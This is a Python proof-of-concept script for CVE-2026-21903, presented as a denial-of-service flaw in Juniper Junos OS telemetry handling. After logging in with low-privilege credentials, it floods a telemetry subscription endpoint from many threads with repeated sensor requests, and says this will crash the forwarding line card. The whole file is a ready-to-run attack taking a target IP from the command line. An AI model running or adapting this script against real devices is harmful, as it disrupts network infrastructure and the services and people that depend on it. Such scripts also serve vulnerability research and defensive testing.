#!/usr/bin/env python3
# CVE-2026-21903 PoC - Juniper Junos OS PFE Telemetry Buffer Overflow
# Authenticated low-privilege user can trigger DoS via mass telemetry subscription
import requests
import concurrent.futures
import argparse
def exploit_juniper(target_ip, username, password, num_threads=50):
"""Exploit CVE-2026-21903 by sending mass telemetry subscription requests"""
# Step 1: Authenticate with low-privilege account
auth_url = f"https://{target_ip}/rpc/login"
auth_data = {
"user": username,
"password": password
}
session = requests.Session()
try:
auth_response = session.post(auth_url, json=auth_data, verify=False, timeout=30)
if auth_response.status_code != 200:
print(f"[-] Authentication failed")
return False
print(f"[+] Authenticated successfully")
except Exception as e:
print(f"[-] Connection error: {e}")
return False
# Step 2: Define telemetry sensor subscription payload
telemetry_sensors = [
"junos/system/line-card/interface/",
"junos/system/line-card/firewall/",
"junos/system/line-card/forwarding/",
"junos/packet/forwarding-engine/",
"junos/hardware/resource/",
"junos/network/control-plane/"
]
def send_telemetry_request(sensor_path):
"""Send telemetry subscription request - triggers buffer overflow at scale"""
subscribe_url = f"https://{target_ip}/rpc/telemetry/subscribe"
payload = {
"sensor-name": sensor_path,
"stream-method": "stream",
"format": "json",
"sample-frequency": 1000
}
try:
response = session.post(subscribe_url, json=payload, verify=False, timeout=10)
return response.status_code
except:
return None
# Step 3: Send mass subscription requests to trigger buffer overflow
print(f"[*] Sending mass telemetry subscriptions (this will trigger FPC crash)...")
with concurrent.futures.ThreadPoolExecutor(max_workers=num_threads) as executor:
# Repeat sensor subscriptions to maximize buffer pressure
for iteration in range(100):
futures = [executor.submit(send_telemetry_request, sensor)
for sensor in telemetry_sensors * 20]
concurrent.futures.wait(futures)
print(f"[+] Exploit completed - FPC should crash and restart")
return True
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="CVE-2026-21903 PoC")
parser.add_argument("-t", "--target", required=True, help="Target Juniper device IP")
parser.add_argument("-u", "--username", required=True, help="Low-privilege username")
parser.add_argument("-p", "--password", required=True, help="Password")
args = parser.parse_args()
exploit_juniper(args.target, args.username, args.password)